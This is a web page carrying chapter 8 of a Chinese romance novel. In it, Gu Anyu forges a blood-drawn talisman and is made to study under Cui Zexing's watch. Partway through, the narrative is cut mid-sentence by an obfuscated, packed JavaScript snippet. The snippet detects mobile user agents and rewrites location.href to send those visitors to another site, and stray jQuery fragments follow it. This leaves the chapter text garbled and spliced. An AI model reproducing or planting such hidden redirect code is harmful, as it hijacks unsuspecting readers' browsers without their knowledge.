默认冷灰
24号文字
方正启体

8. 第 8 章

作者:将弦本书字数:K更新时间:
    回平岁阁的第一件事,就是绘一张假神符。


    书案处,摆着几张与符咒差不多样式的纸张和一支朱笔。谷安岁盘腿坐在案边,手握着朱笔慢慢地写,溅了朱点的脸板着,严肃得有点像课上的张学士。


    她腿边乱飞了许多张写废的,这稀奇古怪的纹样太难写了,不是这歪一点,就是那多一横。


    等好不容易画了个差不多的,才发现颜色暗淡了太多,一看就是冒牌货。


    谷安岁一时急得抓耳挠腮。果然,谎不是人人都能撒的,稍有不慎就会像滚雪球一样越滚越大。可事出紧急,明日该怎么像崔则行交差?


    忽地,凑近嗅了下,竟传来一道淡淡的血腥味。


    猪血?羊血?难不成是人血?!


    她睁圆了眼,吓得差点从书案旁弹跳起来,可细细想来,这种诡异的傀儡术法用人血也正常。


    纠结了好一会,她伸开手心,终究是贪念战胜了良心。


    幸好,谷安岁是不怎么怕疼的。


    她找到了一个看起来很锋利的剪刀,慢慢划了一条小口,血珠滴落到了砚台里,与偏暗的朱砂混杂成了昳丽的艳色,蜿蜒一条,像蛇伸展间吐出来的红信子,满含诱惑。


    然后重新握紧朱笔,一笔一划慢慢描摹纹样,写出崔则行三个字,再鼓着腮,奋力将痕迹吹干。


    片刻,两张写着不同名讳的符咒躺在了书案上,线条暗红灵动,如藤蔓般扭曲了整张纸。


    谷安岁随手拨了下碎发,低着乌眸,确认两张没什么差别了,才收了起来。


    马车摇摇晃晃,晃得她有点头晕,在屋里懈怠了三日,再一回来念书的路上都是绝望的,甚至有点想临阵脱逃,找个借口改道回去算了。


    从昨晚绘完符纸后,她就一直在纠结这件事,至今也没做出决定。


    可车夫没给她逃脱机会了,纵着马一会儿就停在了崔家府门口。


    她不得已下了马车,双腿拖拉着往前走,府门的小厮见了她却很惊讶:“谷姑娘怎么来了?今日崔大人要在府中招待外来使臣,学堂里的公子姑娘全都休沐了啊。”


    这话真是,死到临头被捞回来了。


    但面上还是得装一下的:“我这几日都告假在家里,竟不知晓这事。这可真是太遗憾了,还得麻烦你跟崔先生说一声,我就不打扰他招待客人了。”


    刚转过身,欢欣雀跃的神情还没露出来,言刃就走出来了,唤住了她:“谷姑娘,大人有请。”


    她不得已转身,挤出一个比哭还难看的笑,跟着他往里走。


    方向不是去学堂的,是崔则行的归云苑,独居府中一隅,僻静雅致,自然与平岁阁位置偏远的僻静不同,是这里的下人刻意维持出来的安宁,一路走到里面才能听到几道细碎的交谈声。


    谷安岁头一次进先生的院落,有点没缘由的恐慌,什么也不敢多看。


    她被领到了隔间后,言刃就走了。


    隔间与议事的地方只放着一道纱制枯黄色屏风,所绘花鸟栩栩如生,仅是观赏都能赏上好一会。


    她有些懈怠地放松下来,撑着下巴瞥见了屏风上的一道剪影。


    剪影坐在正中心,只是在听他们说话,又动了动宽袖,伸手接了递上来的折子,修长指节慢慢地翻动着。他看得很专注,低着头,以至于让她能清晰地看到那垂下来的眼睫,在脸颊扑出了细密阴影。


    这是她第一次持续这么久看一个人,像在观察地面的蚂蚁一样,能看到他的一举一动。


    她无意识伸出了手,轻触在屏风上,细细去数眼睫多少。


    心放空了,思绪就开始乱飞。她不由地想,像他这样的人会遇到和她一样的困难吗?会像她一样卑劣无耻地用下作手段吗?


    一个年少得名,位高权重的崔则行居然要被一个平平无奇,没人在意的谷安岁用傀儡术控制住了。


    说出去恐怕都没人相信。


    她无声笑了下,长久地看那道剪影,眼眸被四下通透的光线映得明亮,灰蒙蒙的瞳仁却被晒得颤动了瞬。


    那道视线又笼罩在崔则行身上了,像白日里幽幽一道光,冷不丁地扫过了他,可这里处处光亮,什么痕迹也没留下。


    他不动声色地往四周打量了圈,只见到几张恭敬垂目的面孔,什么异样也没有。思量半晌,便几句下了逐客令,让朝中官员领着使臣离开。


    等走到隔间时,等他的人已经趴在桌面睡着了,脸枕在手臂上,眼眸微阖,纤长乌睫细细颤动着,唇瓣抿得极紧,像在做什么极惊险的梦。


    那一身浅黄襦裙柔软地垂坠在地上,指尖抵在屏风某处,一动不动,唯有胸口轻微地起伏喘息着,和偶尔偷溜来庭院里睡觉的橘猫一模一样。


    他站了会,又静静地坐到了旁边。


    谷安岁不知道自己是什么时候睡着的。


    她下意识擦了一把唇角,正处于迷糊和清醒之际,一扭头见到人吓得跳了起来:“崔、崔先生,您什么时候来的?”


    “刚来不久。”崔则行见猫被诈醒了,懵懂地睁着眸张望,他收敛神情,淡淡道。


    她听着隔间外没了动静,使臣估计早就走了,开始懊恼自己没留神,竟在崔先生眼底下睡过去了。


    之前没说实话打过手板,课上走神被罚抄……她在心里认定崔则行是个很小气的人,该不会这次也要被罚吧?


    可崔则行好似并未打算深究,很快收了眼神:“神符呢?”


    她这才磨蹭着从袖里拿出一张薄薄的纸,心闷肝颤地递给他,还不忘小声地开脱自己:“先生,这就是我从庙里求回来的神符,说是能让人心想事成,但这种邪门事怎可能存在,先生应该是不会相信的吧?”


    崔则行瞥见她掌心一道浅淡血痕,眉尖轻微地蹙了下,才打量着起这张薄纸,所绘纹样繁复诡异,颜色呈现暗红色,正中心写着他的名字,隐隐冒出一点淡淡血腥味。


    纤长手指捏了半晌,他忽地笑道:“为何不信?谷姑娘说了能心想事成,我自是相信的。”


    谷安岁觉得自己的心往上吊了吊,快被勒死了。若他的心愿没成,岂不是要怪到她头上?


    这样想着,却又不禁好奇,像他这样的人,这世上能有什么求而不得、望而不即的事物?恐怕说一声,就有无数人甘愿屈膝献上他们的心脏和性命。


    她讨厌这样无所不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495685|202489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能的人,像混乱世界生出的病变,可还是问道:“先生能有什么做不成的事?”


    崔则行没回答她的疑问,收起了那张神符就起身往屋外走,见她没跟上来,转首道:“缺了三日的课,你不补回来吗?”


    她呆呆地“啊”了声,打心底生出一阵痛苦,可还是做出一个很愿意的神情,老实地跟上了。


    她跟着他去了书房,地方颇大,正中香炉燃着袅袅香雾,与他发上的味道极像,一角书案上放好了几本书,笔墨纸砚也都齐全地堆在一块,是早已备好的。


    崔则行伸手一指向那书案:“我政务繁多,无暇顾及,你自行将缺的课业学了,若有晦涩难解处,再来问我。”


    谷安岁看了看那书案,只与那张书桌离着几丈距离,一举一动都在他的眼皮底下。平常在学堂上混在十人里面都已经够难捱了,如今一对一,与酷刑有什么区别?就不能让她一个人回家慢慢学嘛?


    这是监视!是威胁!是强权!


    但她敢怒不敢言,憋屈地按在肚子里。


    崔则行看她萎靡不振的背影,眼尾轻微地弯了下。


    等她满腔不甘地坐下,打开那几本书后,才发现书页旁一行行朱笔标注,字迹有力苍劲,一眼难忘。


    这是崔则行在用的书。


    她假借拿笔的遮掩,悄悄抬头偷看,见他已经坐在了书桌后,神情认真,垂目看那叠成一摞的奏疏。


    谷安岁做不到和他一样认真,看个几行,心绪就飘远了,可飘来飘去,总会不自觉绕到几丈外的人身上,再假装不经意地看上几眼。


    他始终在那,与她隔得不远,只抬起头就能看到,偶尔皱眉,偶尔舒展,翻阅出簌簌响动声。头一次离得这么近,她撑着下巴,也是头一次觉得讨厌的崔则行没什么特殊之处,只是一个普通人。


    她被自己的念头吓了一跳,赶忙在心里否定,小心他一生气把自己分成几块扔出京城。


    光影随着时辰流逝,慢慢地变换。


    屋外檐上,猫儿跳跃,蓄意踩响瓦片,雀鸟被惊得高飞鸣叫,啾啾声伴着渐渐明亮的光线播撒而入,像一条温和的、平静的河流缓缓流淌,带着难言的生活气息。


    一会儿,言刃进来禀告:“谷大人来崔府拜访大爷大夫人,听闻谷姑娘也在府里,就遣人过来问问姑娘要不要同去。”


    谷安岁心一紧,想到了大夫人要她离开学堂的事,不待她想出拒绝由头。


    崔则行先一步道:“谷姑娘课业有误,恐怕匀不出功夫离开。”


    言刃点头应下,转身回禀去了。


    他转首,正对上她径直投来的眸光,眉梢微扬:“怎么,你想去?”


    她摇了摇头,有些不好意思地缓滞道:“父亲是因为二妹妹入学堂的事才来的,大夫人不喜欢我,我去了反倒会耽误事。”


    他搁了笔墨,平静的黑眸像是能洞察人心,静静地落在她身上:“那你想让她来吗?”


    “我……”她无意识地捏着书角。


    洒在肩颈的阳光一路暖了全身,骨头都不自觉软了几分,她像是被这种温和又平静的气氛所诱惑了一样,竟说出了实话:“我不想。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)